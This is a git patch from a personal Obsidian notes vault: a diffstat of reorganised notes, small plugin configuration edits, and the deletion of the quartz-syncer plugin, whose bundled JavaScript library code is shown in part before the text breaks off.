From 5d3ed14275189d7dfe102328d1ef3e83b85054b2 Mon Sep 17 00:00:00 2001 From: Zaine Date: Thu, 4 Jun 2026 14:47:44 +0100 Subject: [PATCH] updates --- .obsidian/community-plugins.json | 3 +- .obsidian/graph.json | 2 +- .obsidian/hotkeys.json | 10 + .obsidian/plugins/calendar/data.json | 0 .obsidian/plugins/calendar/main.js | 0 .obsidian/plugins/calendar/manifest.json | 0 .obsidian/plugins/copilot/data.json | 2 +- .obsidian/plugins/copilot/main.js | 0 .obsidian/plugins/copilot/manifest.json | 0 .obsidian/plugins/copilot/styles.css | 0 .obsidian/plugins/quartz-syncer/data.json | 50 - .obsidian/plugins/quartz-syncer/main.js | 1297 ----------------- .obsidian/plugins/quartz-syncer/manifest.json | 15 - .obsidian/plugins/quartz-syncer/styles.css | 719 --------- .obsidian/workspace.json | 117 +- Articles/Articles MOC.md | 19 +- Articles/Effect of Tiktok on teens.md | 0 ...ry Senior Engineer has read these books.md | 1 + Articles/I thought I knew system design.md | 1 + Articles/Reason some people are likable.md | 22 + ... Software Engineering Profession for AI.md | 10 + Articles/Software Quality.md | 11 +- Articles/Substack Articles.md | 8 + Books/Art of Computer Programming.md | 0 .../Pasted image 20260603143442.png | Bin .../Pasted image 20260603143542.png | Bin .../Pasted image 20260603143606.png | Bin .../Pasted image 20260603144043.png | Bin .../Pasted image 20260603144325.png | Bin .../Pasted image 20260603144656.png | Bin .../Pasted image 20260603145047.png | Bin .../Pasted image 20260603145055.png | Bin .../Pasted image 20260603145548.png | Bin Books/Books Calibre.md | 2 +- Books/Clean Code.md | 0 Books/Notes/Neuroplasticity.md | 0 .../Notes/Stanford marshmallow experiment.md | 0 Books/So good they cant ignore you.md | 0 Career/Concepts.md | 139 +- .../Pasted image 20260603221345.png | Bin 0 -> 457339 bytes Career/Database - SQL/SQL Joins.md | 2 + ...straints, Normalization, and Subqueries.md | 269 ++++ .../CI-CD Example (site visits).md | 0 Career/{ => Devops}/CI-CD Summary.md | 0 .../Microlise/Session Stored XSS PENTEST.md | 73 +- Career/Output Encoding.md | 1 - Career/Regex.md | 6 + .../Pasted image 20260603202301.png | Bin 0 -> 45401 bytes .../Pasted image 20260603202316.png | Bin 0 -> 46740 bytes Career/Security/Cross Site Scripting (XSS).md | 4 + Career/Security/Output Encoding.md | 46 + Dailies/2026-06-03.md | 8 +- Dailies/2026-06-04.md | 18 + Index.md | 54 +- Non Technical/20250717230336-recipes_moc.md | 5 + Non Technical/20250719174944-recipes_ideas.md | 59 + Non Technical/20250719175023-recipes_done.md | 27 + Non Technical/20250918120706-wedding_moc.md | 7 + Non Technical/20260107182221-2026_targets.md | 10 + ...0260211114817-personal_operating_system.md | 3 + Non Technical/20260211124505-timetable.md | 22 + Non Technical/20260307165727-proverbs.md | 37 + .../20260307233451-recipes_cookbook.md | 71 + Non Technical/20260407121857-finances.md | 29 + .../20260410154301-decluttering_plan.md | 55 + .../20260414162623-chrome_tabs_backup.md | 1219 ++++++++++++++++ Non Technical/20260420142151-textual_hifz.md | 310 ++++ Non Technical/20260429110504-ibarat.md | 14 + Non Technical/Non Technical MOC.md | 21 + Non Technical/z resources.md | 26 + Technical/20250402185735-java_moc.md | 3 + .../20250723190656-java_junit_testing.md | 1 + Technical/20250918120519-misc_moc.md | 3 + Technical/20250926151524-workflow_moc.md | 7 + Technical/20251101123637-backlog.md | 25 + Technical/20251214210526-useful_c_imports.md | 1 + .../20251223220531-technical_commonplace.md | 9 + Technical/20260111204228-rss_articles.md | 9 + .../20260117194854-programming_projects.md | 1 + Technical/Linux/Arch Linux.md | 11 + Technical/Linux/GPG Encryption.md | 35 + Technical/Linux/Keyboard.md | 179 +++ Technical/Linux/Linux MOC.md | 12 + Technical/Linux/Systemd Services.md | 45 + Technical/Linux/Wacom.md | 58 + Technical/Linux/i3 WM.md | 10 + Technical/Server/Actual (finance).md | 16 + Technical/Server/Cloudflare.md | 79 + Technical/Server/Gitea.md | 24 + Technical/Server/Nextcloud.md | 289 ++++ Technical/Server/Old NGINX Code.md | 265 ++++ Technical/Server/Old Nextcloud.md | 70 + Technical/Server/Server Backend.md | 102 ++ Technical/Server/Server MOC.md | 22 + Technical/Server/Vaultwarden.md | 16 + Technical/Technical MOC.md | 40 + ...Let’s Code Future _ May, 2026 _ Medium.pdf | Bin 0 -> 771103 bytes 97 files changed, 3890 insertions(+), 2266 deletions(-) create mode 100755 .obsidian/hotkeys.json mode change 100644 => 100755 .obsidian/plugins/calendar/data.json mode change 100644 => 100755 .obsidian/plugins/calendar/main.js mode change 100644 => 100755 .obsidian/plugins/calendar/manifest.json mode change 100644 => 100755 .obsidian/plugins/copilot/data.json mode change 100644 => 100755 .obsidian/plugins/copilot/main.js mode change 100644 => 100755 .obsidian/plugins/copilot/manifest.json mode change 100644 => 100755 .obsidian/plugins/copilot/styles.css delete mode 100644 .obsidian/plugins/quartz-syncer/data.json delete mode 100644 .obsidian/plugins/quartz-syncer/main.js delete mode 100644 .obsidian/plugins/quartz-syncer/manifest.json delete mode 100644 .obsidian/plugins/quartz-syncer/styles.css mode change 100644 => 100755 Articles/Effect of Tiktok on teens.md create mode 100755 Articles/Reason some people are likable.md create mode 100755 Articles/Redefining the Software Engineering Profession for AI.md mode change 100644 => 100755 Books/Art of Computer Programming.md mode change 100644 => 100755 Books/Attachments/Pasted image 20260603143442.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603143542.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603143606.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603144043.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603144325.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603144656.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603145047.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603145055.png mode change 100644 => 100755 Books/Attachments/Pasted image 20260603145548.png mode change 100644 => 100755 Books/Clean Code.md mode change 100644 => 100755 Books/Notes/Neuroplasticity.md mode change 100644 => 100755 Books/Notes/Stanford marshmallow experiment.md mode change 100644 => 100755 Books/So good they cant ignore you.md create mode 100755 Career/Database - SQL/Attachments/Pasted image 20260603221345.png create mode 100755 Career/Database - SQL/Using Joins, Constraints, Normalization, and Subqueries.md rename Career/{ => Devops}/CI-CD Example (site visits).md (100%) rename Career/{ => Devops}/CI-CD Summary.md (100%) delete mode 100644 Career/Output Encoding.md create mode 100755 Career/Regex.md create mode 100755 Career/Security/Attachments/Pasted image 20260603202301.png create mode 100755 Career/Security/Attachments/Pasted image 20260603202316.png create mode 100755 Career/Security/Output Encoding.md create mode 100755 Dailies/2026-06-04.md create mode 100755 Non Technical/20250717230336-recipes_moc.md create mode 100755 Non Technical/20250719174944-recipes_ideas.md create mode 100755 Non Technical/20250719175023-recipes_done.md create mode 100755 Non Technical/20250918120706-wedding_moc.md create mode 100755 Non Technical/20260107182221-2026_targets.md create mode 100755 Non Technical/20260211114817-personal_operating_system.md create mode 100755 Non Technical/20260211124505-timetable.md create mode 100755 Non Technical/20260307165727-proverbs.md create mode 100755 Non Technical/20260307233451-recipes_cookbook.md create mode 100755 Non Technical/20260407121857-finances.md create mode 100755 Non Technical/20260410154301-decluttering_plan.md create mode 100755 Non Technical/20260414162623-chrome_tabs_backup.md create mode 100755 Non Technical/20260420142151-textual_hifz.md create mode 100755 Non Technical/20260429110504-ibarat.md create mode 100755 Non Technical/Non Technical MOC.md create mode 100755 Non Technical/z resources.md create mode 100755 Technical/20250402185735-java_moc.md create mode 100755 Technical/20250723190656-java_junit_testing.md create mode 100755 Technical/20250918120519-misc_moc.md create mode 100755 Technical/20250926151524-workflow_moc.md create mode 100755 Technical/20251101123637-backlog.md create mode 100755 Technical/20251214210526-useful_c_imports.md create mode 100755 Technical/20251223220531-technical_commonplace.md create mode 100755 Technical/20260111204228-rss_articles.md create mode 100755 Technical/20260117194854-programming_projects.md create mode 100755 Technical/Linux/Arch Linux.md create mode 100755 Technical/Linux/GPG Encryption.md create mode 100755 Technical/Linux/Keyboard.md create mode 100755 Technical/Linux/Linux MOC.md create mode 100755 Technical/Linux/Systemd Services.md create mode 100755 Technical/Linux/Wacom.md create mode 100755 Technical/Linux/i3 WM.md create mode 100755 Technical/Server/Actual (finance).md create mode 100755 Technical/Server/Cloudflare.md create mode 100755 Technical/Server/Gitea.md create mode 100755 Technical/Server/Nextcloud.md create mode 100755 Technical/Server/Old NGINX Code.md create mode 100755 Technical/Server/Old Nextcloud.md create mode 100755 Technical/Server/Server Backend.md create mode 100755 Technical/Server/Server MOC.md create mode 100755 Technical/Server/Vaultwarden.md create mode 100755 Technical/Technical MOC.md create mode 100755 pdfs/_articles/The New Definition of Software Engineering in the Age of AI Is Already Here _ by Deep concept _ Let’s Code Future _ May, 2026 _ Medium.pdf diff --git a/.obsidian/community-plugins.json b/.obsidian/community-plugins.json index 0cd0e0e..fba903e 100755 --- a/.obsidian/community-plugins.json +++ b/.obsidian/community-plugins.json @@ -3,6 +3,5 @@ "dataview", "obsidian-annotator", "pdf-plus", - "calendar", - "quartz-syncer" + "calendar" ] \ No newline at end of file diff --git a/.obsidian/graph.json b/.obsidian/graph.json index e060b63..0110a93 100755 --- a/.obsidian/graph.json +++ b/.obsidian/graph.json @@ -17,6 +17,6 @@ "repelStrength": 10, "linkStrength": 1, "linkDistance": 250, - "scale": 0.7132754626224411, + "scale": 0.7132754626224402, "close": true } \ No newline at end of file diff --git a/.obsidian/hotkeys.json b/.obsidian/hotkeys.json new file mode 100755 index 0000000..5c765aa --- /dev/null +++ b/.obsidian/hotkeys.json @@ -0,0 +1,10 @@ +{ + "insert-template": [ + { + "modifiers": [ + "Alt" + ], + "key": "T" + } + ] +} \ No newline at end of file diff --git a/.obsidian/plugins/calendar/data.json b/.obsidian/plugins/calendar/data.json old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/calendar/main.js b/.obsidian/plugins/calendar/main.js old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/calendar/manifest.json b/.obsidian/plugins/calendar/manifest.json old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/copilot/data.json b/.obsidian/plugins/copilot/data.json old mode 100644 new mode 100755 index a66af96..89fc97e --- a/.obsidian/plugins/copilot/data.json +++ b/.obsidian/plugins/copilot/data.json @@ -22,7 +22,7 @@ "siliconflowApiKey": "", "githubCopilotAccessToken": "", "githubCopilotToken": "", - "githubCopilotTokenExpiresAt": 1780499501000, + "githubCopilotTokenExpiresAt": 1780523791000, "defaultChainType": "llm_chain", "defaultModelKey": "google/gemini-2.5-flash|openrouterai", "embeddingModelKey": "openai/text-embedding-3-small|openrouterai", diff --git a/.obsidian/plugins/copilot/main.js b/.obsidian/plugins/copilot/main.js old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/copilot/manifest.json b/.obsidian/plugins/copilot/manifest.json old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/copilot/styles.css b/.obsidian/plugins/copilot/styles.css old mode 100644 new mode 100755 diff --git a/.obsidian/plugins/quartz-syncer/data.json b/.obsidian/plugins/quartz-syncer/data.json deleted file mode 100644 index 66c63b7..0000000 --- a/.obsidian/plugins/quartz-syncer/data.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "git": { - "remoteUrl": "", - "branch": "v4", - "corsProxyUrl": "", - "auth": { - "type": "basic", - "username": "" - }, - "providerHint": "github" - }, - "vaultPath": "/", - "contentFolder": "content", - "publishFrontmatterKey": "publish", - "allNotesPublishableByDefault": false, - "showCreatedTimestamp": true, - "showUpdatedTimestamp": true, - "showPublishedTimestamp": false, - "usePermalink": false, - "includeAllFrontmatter": false, - "frontmatterFormat": "yaml", - "createdTimestampKey": "created, created_at, date", - "updatedTimestampKey": "modified, lastmod, updated, last-modified", - "publishedTimestampKey": "published, publishDate, date", - "timestampFormat": "MMM dd, yyyy h:mm a", - "useCache": true, - "syncCache": true, - "persistCache": false, - "cacheTimestamp": 0, - "cache": "{}", - "useAutoCardLink": false, - "useDataview": true, - "useDatacore": false, - "useExcalidraw": false, - "useFantasyStatblocks": false, - "useBases": false, - "useCanvas": false, - "manageSyncerStyles": true, - "lastUsedSettingsTab": "git", - "noteSettingsIsInitialized": true, - "pluginVersion": "1.15.3", - "lastUpstreamCommitSha": "", - "upgradeCheckStrategy": "version", - "diffViewStyle": "auto", - "ENABLE_DEVELOPER_TOOLS": false, - "logLevel": { - "value": 99, - "name": "OFF" - } -} \ No newline at end of file diff --git a/.obsidian/plugins/quartz-syncer/main.js b/.obsidian/plugins/quartz-syncer/main.js deleted file mode 100644 index a2ead28..0000000 --- a/.obsidian/plugins/quartz-syncer/main.js +++ /dev/null @@ -1,1297 +0,0 @@ -/* -THIS IS A GENERATED/BUNDLED FILE BY ESBUILD -if you want to view the source, please visit the github repository of this plugin -*/ - -"use strict";var GL=Object.create;var ud=Object.defineProperty;var QL=Object.getOwnPropertyDescriptor;var KL=Object.getOwnPropertyNames;var ZL=Object.getPrototypeOf,YL=Object.prototype.hasOwnProperty;var se=(t,e)=>()=>(t&&(e=t(t=0)),e);var W=(t,e)=>()=>(e||t((e={exports:{}}).exports,e),e.exports),fu=(t,e)=>{for(var n in e)ud(t,n,{get:e[n],enumerable:!0})},sx=(t,e,n,r)=>{if(e&&typeof e=="object"||typeof e=="function")for(let i of KL(e))!YL.call(t,i)&&i!==n&&ud(t,i,{get:()=>e[i],enumerable:!(r=QL(e,i))||r.enumerable});return t};var it=(t,e,n)=>(n=t!=null?GL(ZL(t)):{},sx(e||!t||!t.__esModule?ud(n,"default",{value:t,enumerable:!0}):n,t)),JL=t=>sx(ud({},"__esModule",{value:!0}),t);var lx=W(fd=>{"use strict";m();fd.byteLength=eB;fd.toByteArray=nB;fd.fromByteArray=sB;var yi=[],Sr=[],XL=typeof Uint8Array<"u"?Uint8Array:Array,xy="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";for(Ro=0,ox=xy.length;Ro0)throw new Error("Invalid string. Length must be a multiple of 4");var n=t.indexOf("=");n===-1&&(n=e);var r=n===e?0:4-n%4;return[n,r]}function eB(t){var e=ax(t),n=e[0],r=e[1];return(n+r)*3/4-r}function tB(t,e,n){return(e+n)*3/4-n}function nB(t){var e,n=ax(t),r=n[0],i=n[1],s=new XL(tB(t,r,i)),o=0,a=i>0?r-4:r,l;for(l=0;l>16&255,s[o++]=e>>8&255,s[o++]=e&255;return i===2&&(e=Sr[t.charCodeAt(l)]<<2|Sr[t.charCodeAt(l+1)]>>4,s[o++]=e&255),i===1&&(e=Sr[t.charCodeAt(l)]<<10|Sr[t.charCodeAt(l+1)]<<4|Sr[t.charCodeAt(l+2)]>>2,s[o++]=e>>8&255,s[o++]=e&255),s}function rB(t){return yi[t>>18&63]+yi[t>>12&63]+yi[t>>6&63]+yi[t&63]}function iB(t,e,n){for(var r,i=[],s=e;sa?a:o+s));return r===1?(e=t[n-1],i.push(yi[e>>2]+yi[e<<4&63]+"==")):r===2&&(e=(t[n-2]<<8)+t[n-1],i.push(yi[e>>10]+yi[e>>4&63]+yi[e<<2&63]+"=")),i.join("")}});var cx=W(Sy=>{m();Sy.read=function(t,e,n,r,i){var s,o,a=i*8-r-1,l=(1<>1,u=-7,f=n?i-1:0,h=n?-1:1,d=t[e+f];for(f+=h,s=d&(1<<-u)-1,d>>=-u,u+=a;u>0;s=s*256+t[e+f],f+=h,u-=8);for(o=s&(1<<-u)-1,s>>=-u,u+=r;u>0;o=o*256+t[e+f],f+=h,u-=8);if(s===0)s=1-c;else{if(s===l)return o?NaN:(d?-1:1)*(1/0);o=o+Math.pow(2,r),s=s-c}return(d?-1:1)*o*Math.pow(2,s-r)};Sy.write=function(t,e,n,r,i,s){var o,a,l,c=s*8-i-1,u=(1<>1,h=i===23?Math.pow(2,-24)-Math.pow(2,-77):0,d=r?0:s-1,p=r?1:-1,g=e<0||e===0&&1/e<0?1:0;for(e=Math.abs(e),isNaN(e)||e===1/0?(a=isNaN(e)?1:0,o=u):(o=Math.floor(Math.log(e)/Math.LN2),e*(l=Math.pow(2,-o))<1&&(o--,l*=2),o+f>=1?e+=h/l:e+=h*Math.pow(2,1-f),e*l>=2&&(o++,l/=2),o+f>=u?(a=0,o=u):o+f>=1?(a=(e*l-1)*Math.pow(2,i),o=o+f):(a=e*Math.pow(2,f-1)*Math.pow(2,i),o=0));i>=8;t[n+d]=a&255,d+=p,a/=256,i-=8);for(o=o<0;t[n+d]=o&255,d+=p,o/=256,c-=8);t[n+d-p]|=g*128}});var md=W(el=>{"use strict";m();var Dy=lx(),Ja=cx(),ux=typeof Symbol=="function"&&typeof Symbol.for=="function"?Symbol.for("nodejs.util.inspect.custom"):null;el.Buffer=$;el.SlowBuffer=fB;el.INSPECT_MAX_BYTES=50;var hd=2147483647;el.kMaxLength=hd;$.TYPED_ARRAY_SUPPORT=oB();!$.TYPED_ARRAY_SUPPORT&&typeof console<"u"&&typeof console.error=="function"&&console.error("This browser lacks typed array (Uint8Array) support which is required by `buffer` v5.x. Use `buffer` v4.x if you require old browser support.");function oB(){try{let t=new Uint8Array(1),e={foo:function(){return 42}};return Object.setPrototypeOf(e,Uint8Array.prototype),Object.setPrototypeOf(t,e),t.foo()===42}catch{return!1}}Object.defineProperty($.prototype,"parent",{enumerable:!0,get:function(){if($.isBuffer(this))return this.buffer}});Object.defineProperty($.prototype,"offset",{enumerable:!0,get:function(){if($.isBuffer(this))return this.byteOffset}});function Qi(t){if(t>hd)throw new RangeError('The value "'+t+'" is invalid for option "size"');let e=new Uint8Array(t);return Object.setPrototypeOf(e,$.prototype),e}function $(t,e,n){if(typeof t=="number"){if(typeof e=="string")throw new TypeError('The "string" argument must be of type string. Received type number');return Ty(t)}return mx(t,e,n)}$.poolSize=8192;function mx(t,e,n){if(typeof t=="string")return lB(t,e);if(ArrayBuffer.isView(t))return cB(t);if(t==null)throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t);if(wi(t,ArrayBuffer)||t&&wi(t.buffer,ArrayBuffer)||typeof SharedArrayBuffer<"u"&&(wi(t,SharedArrayBuffer)||t&&wi(t.buffer,SharedArrayBuffer)))return _y(t,e,n);if(typeof t=="number")throw new TypeError('The "value" argument must not be of type number. Received type number');let r=t.valueOf&&t.valueOf();if(r!=null&&r!==t)return $.from(r,e,n);let i=uB(t);if(i)return i;if(typeof Symbol<"u"&&Symbol.toPrimitive!=null&&typeof t[Symbol.toPrimitive]=="function")return $.from(t[Symbol.toPrimitive]("string"),e,n);throw new TypeError("The first argument must be one of type string, Buffer, ArrayBuffer, Array, or Array-like Object. Received type "+typeof t)}$.from=function(t,e,n){return mx(t,e,n)};Object.setPrototypeOf($.prototype,Uint8Array.prototype);Object.setPrototypeOf($,Uint8Array);function px(t){if(typeof t!="number")throw new TypeError('"size" argument must be of type number');if(t<0)throw new RangeError('The value "'+t+'" is invalid for option "size"')}function aB(t,e,n){return px(t),t<=0?Qi(t):e!==void 0?typeof n=="string"?Qi(t).fill(e,n):Qi(t).fill(e):Qi(t)}$.alloc=function(t,e,n){return aB(t,e,n)};function Ty(t){return px(t),Qi(t<0?0:Fy(t)|0)}$.allocUnsafe=function(t){return Ty(t)};$.allocUnsafeSlow=function(t){return Ty(t)};function lB(t,e){if((typeof e!="string"||e==="")&&(e="utf8"),!$.isEncoding(e))throw new TypeError("Unknown encoding: "+e);let n=gx(t,e)|0,r=Qi(n),i=r.write(t,e);return i!==n&&(r=r.slice(0,i)),r}function Ey(t){let e=t.length<0?0:Fy(t.length)|0,n=Qi(e);for(let r=0;r=hd)throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+hd.toString(16)+" bytes");return t|0}function fB(t){return+t!=t&&(t=0),$.alloc(+t)}$.isBuffer=function(e){return e!=null&&e._isBuffer===!0&&e!==$.prototype};$.compare=function(e,n){if(wi(e,Uint8Array)&&(e=$.from(e,e.offset,e.byteLength)),wi(n,Uint8Array)&&(n=$.from(n,n.offset,n.byteLength)),!$.isBuffer(e)||!$.isBuffer(n))throw new TypeError('The "buf1", "buf2" arguments must be one of type Buffer or Uint8Array');if(e===n)return 0;let r=e.length,i=n.length;for(let s=0,o=Math.min(r,i);si.length?($.isBuffer(o)||(o=$.from(o)),o.copy(i,s)):Uint8Array.prototype.set.call(i,o,s);else if($.isBuffer(o))o.copy(i,s);else throw new TypeError('"list" argument must be an Array of Buffers');s+=o.length}return i};function gx(t,e){if($.isBuffer(t))return t.length;if(ArrayBuffer.isView(t)||wi(t,ArrayBuffer))return t.byteLength;if(typeof t!="string")throw new TypeError('The "string" argument must be one of type string, Buffer, or ArrayBuffer. Received type '+typeof t);let n=t.length,r=arguments.length>2&&arguments[2]===!0;if(!r&&n===0)return 0;let i=!1;for(;;)switch(e){case"ascii":case"latin1":case"binary":return n;case"utf8":case"utf-8":return Cy(t).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return n*2;case"hex":return n>>>1;case"base64":return Ex(t).length;default:if(i)return r?-1:Cy(t).length;e=(""+e).toLowerCase(),i=!0}}$.byteLength=gx;function hB(t,e,n){let r=!1;if((e===void 0||e<0)&&(e=0),e>this.length||((n===void 0||n>this.length)&&(n=this.length),n<=0)||(n>>>=0,e>>>=0,n<=e))return"";for(t||(t="utf8");;)switch(t){case"hex":return xB(this,e,n);case"utf8":case"utf-8":return wx(this,e,n);case"ascii":return vB(this,e,n);case"latin1":case"binary":return kB(this,e,n);case"base64":return wB(this,e,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return SB(this,e,n);default:if(r)throw new TypeError("Unknown encoding: "+t);t=(t+"").toLowerCase(),r=!0}}$.prototype._isBuffer=!0;function zo(t,e,n){let r=t[e];t[e]=t[n],t[n]=r}$.prototype.swap16=function(){let e=this.length;if(e%2!==0)throw new RangeError("Buffer size must be a multiple of 16-bits");for(let n=0;nn&&(e+=" ... "),""};ux&&($.prototype[ux]=$.prototype.inspect);$.prototype.compare=function(e,n,r,i,s){if(wi(e,Uint8Array)&&(e=$.from(e,e.offset,e.byteLength)),!$.isBuffer(e))throw new TypeError('The "target" argument must be one of type Buffer or Uint8Array. Received type '+typeof e);if(n===void 0&&(n=0),r===void 0&&(r=e?e.length:0),i===void 0&&(i=0),s===void 0&&(s=this.length),n<0||r>e.length||i<0||s>this.length)throw new RangeError("out of range index");if(i>=s&&n>=r)return 0;if(i>=s)return-1;if(n>=r)return 1;if(n>>>=0,r>>>=0,i>>>=0,s>>>=0,this===e)return 0;let o=s-i,a=r-n,l=Math.min(o,a),c=this.slice(i,s),u=e.slice(n,r);for(let f=0;f2147483647?n=2147483647:n<-2147483648&&(n=-2147483648),n=+n,Ay(n)&&(n=i?0:t.length-1),n<0&&(n=t.length+n),n>=t.length){if(i)return-1;n=t.length-1}else if(n<0)if(i)n=0;else return-1;if(typeof e=="string"&&(e=$.from(e,r)),$.isBuffer(e))return e.length===0?-1:fx(t,e,n,r,i);if(typeof e=="number")return e=e&255,typeof Uint8Array.prototype.indexOf=="function"?i?Uint8Array.prototype.indexOf.call(t,e,n):Uint8Array.prototype.lastIndexOf.call(t,e,n):fx(t,[e],n,r,i);throw new TypeError("val must be string, number or Buffer")}function fx(t,e,n,r,i){let s=1,o=t.length,a=e.length;if(r!==void 0&&(r=String(r).toLowerCase(),r==="ucs2"||r==="ucs-2"||r==="utf16le"||r==="utf-16le")){if(t.length<2||e.length<2)return-1;s=2,o/=2,a/=2,n/=2}function l(u,f){return s===1?u[f]:u.readUInt16BE(f*s)}let c;if(i){let u=-1;for(c=n;co&&(n=o-a),c=n;c>=0;c--){let u=!0;for(let f=0;fi&&(r=i)):r=i;let s=e.length;r>s/2&&(r=s/2);let o;for(o=0;o>>0,isFinite(r)?(r=r>>>0,i===void 0&&(i="utf8")):(i=r,r=void 0);else throw new Error("Buffer.write(string, encoding, offset[, length]) is no longer supported");let s=this.length-n;if((r===void 0||r>s)&&(r=s),e.length>0&&(r<0||n<0)||n>this.length)throw new RangeError("Attempt to write outside buffer bounds");i||(i="utf8");let o=!1;for(;;)switch(i){case"hex":return dB(this,e,n,r);case"utf8":case"utf-8":return mB(this,e,n,r);case"ascii":case"latin1":case"binary":return pB(this,e,n,r);case"base64":return gB(this,e,n,r);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return yB(this,e,n,r);default:if(o)throw new TypeError("Unknown encoding: "+i);i=(""+i).toLowerCase(),o=!0}};$.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};function wB(t,e,n){return e===0&&n===t.length?Dy.fromByteArray(t):Dy.fromByteArray(t.slice(e,n))}function wx(t,e,n){n=Math.min(t.length,n);let r=[],i=e;for(;i239?4:s>223?3:s>191?2:1;if(i+a<=n){let l,c,u,f;switch(a){case 1:s<128&&(o=s);break;case 2:l=t[i+1],(l&192)===128&&(f=(s&31)<<6|l&63,f>127&&(o=f));break;case 3:l=t[i+1],c=t[i+2],(l&192)===128&&(c&192)===128&&(f=(s&15)<<12|(l&63)<<6|c&63,f>2047&&(f<55296||f>57343)&&(o=f));break;case 4:l=t[i+1],c=t[i+2],u=t[i+3],(l&192)===128&&(c&192)===128&&(u&192)===128&&(f=(s&15)<<18|(l&63)<<12|(c&63)<<6|u&63,f>65535&&f<1114112&&(o=f))}}o===null?(o=65533,a=1):o>65535&&(o-=65536,r.push(o>>>10&1023|55296),o=56320|o&1023),r.push(o),i+=a}return bB(r)}var hx=4096;function bB(t){let e=t.length;if(e<=hx)return String.fromCharCode.apply(String,t);let n="",r=0;for(;rr)&&(n=r);let i="";for(let s=e;sr&&(e=r),n<0?(n+=r,n<0&&(n=0)):n>r&&(n=r),nn)throw new RangeError("Trying to access beyond buffer length")}$.prototype.readUintLE=$.prototype.readUIntLE=function(e,n,r){e=e>>>0,n=n>>>0,r||jt(e,n,this.length);let i=this[e],s=1,o=0;for(;++o>>0,n=n>>>0,r||jt(e,n,this.length);let i=this[e+--n],s=1;for(;n>0&&(s*=256);)i+=this[e+--n]*s;return i};$.prototype.readUint8=$.prototype.readUInt8=function(e,n){return e=e>>>0,n||jt(e,1,this.length),this[e]};$.prototype.readUint16LE=$.prototype.readUInt16LE=function(e,n){return e=e>>>0,n||jt(e,2,this.length),this[e]|this[e+1]<<8};$.prototype.readUint16BE=$.prototype.readUInt16BE=function(e,n){return e=e>>>0,n||jt(e,2,this.length),this[e]<<8|this[e+1]};$.prototype.readUint32LE=$.prototype.readUInt32LE=function(e,n){return e=e>>>0,n||jt(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+this[e+3]*16777216};$.prototype.readUint32BE=$.prototype.readUInt32BE=function(e,n){return e=e>>>0,n||jt(e,4,this.length),this[e]*16777216+(this[e+1]<<16|this[e+2]<<8|this[e+3])};$.prototype.readBigUInt64LE=Ss(function(e){e=e>>>0,Xa(e,"offset");let n=this[e],r=this[e+7];(n===void 0||r===void 0)&&hu(e,this.length-8);let i=n+this[++e]*2**8+this[++e]*2**16+this[++e]*2**24,s=this[++e]+this[++e]*2**8+this[++e]*2**16+r*2**24;return BigInt(i)+(BigInt(s)<>>0,Xa(e,"offset");let n=this[e],r=this[e+7];(n===void 0||r===void 0)&&hu(e,this.length-8);let i=n*2**24+this[++e]*2**16+this[++e]*2**8+this[++e],s=this[++e]*2**24+this[++e]*2**16+this[++e]*2**8+r;return(BigInt(i)<>>0,n=n>>>0,r||jt(e,n,this.length);let i=this[e],s=1,o=0;for(;++o=s&&(i-=Math.pow(2,8*n)),i};$.prototype.readIntBE=function(e,n,r){e=e>>>0,n=n>>>0,r||jt(e,n,this.length);let i=n,s=1,o=this[e+--i];for(;i>0&&(s*=256);)o+=this[e+--i]*s;return s*=128,o>=s&&(o-=Math.pow(2,8*n)),o};$.prototype.readInt8=function(e,n){return e=e>>>0,n||jt(e,1,this.length),this[e]&128?(255-this[e]+1)*-1:this[e]};$.prototype.readInt16LE=function(e,n){e=e>>>0,n||jt(e,2,this.length);let r=this[e]|this[e+1]<<8;return r&32768?r|4294901760:r};$.prototype.readInt16BE=function(e,n){e=e>>>0,n||jt(e,2,this.length);let r=this[e+1]|this[e]<<8;return r&32768?r|4294901760:r};$.prototype.readInt32LE=function(e,n){return e=e>>>0,n||jt(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24};$.prototype.readInt32BE=function(e,n){return e=e>>>0,n||jt(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]};$.prototype.readBigInt64LE=Ss(function(e){e=e>>>0,Xa(e,"offset");let n=this[e],r=this[e+7];(n===void 0||r===void 0)&&hu(e,this.length-8);let i=this[e+4]+this[e+5]*2**8+this[e+6]*2**16+(r<<24);return(BigInt(i)<>>0,Xa(e,"offset");let n=this[e],r=this[e+7];(n===void 0||r===void 0)&&hu(e,this.length-8);let i=(n<<24)+this[++e]*2**16+this[++e]*2**8+this[++e];return(BigInt(i)<>>0,n||jt(e,4,this.length),Ja.read(this,e,!0,23,4)};$.prototype.readFloatBE=function(e,n){return e=e>>>0,n||jt(e,4,this.length),Ja.read(this,e,!1,23,4)};$.prototype.readDoubleLE=function(e,n){return e=e>>>0,n||jt(e,8,this.length),Ja.read(this,e,!0,52,8)};$.prototype.readDoubleBE=function(e,n){return e=e>>>0,n||jt(e,8,this.length),Ja.read(this,e,!1,52,8)};function On(t,e,n,r,i,s){if(!$.isBuffer(t))throw new TypeError('"buffer" argument must be a Buffer instance');if(e>i||et.length)throw new RangeError("Index out of range")}$.prototype.writeUintLE=$.prototype.writeUIntLE=function(e,n,r,i){if(e=+e,n=n>>>0,r=r>>>0,!i){let 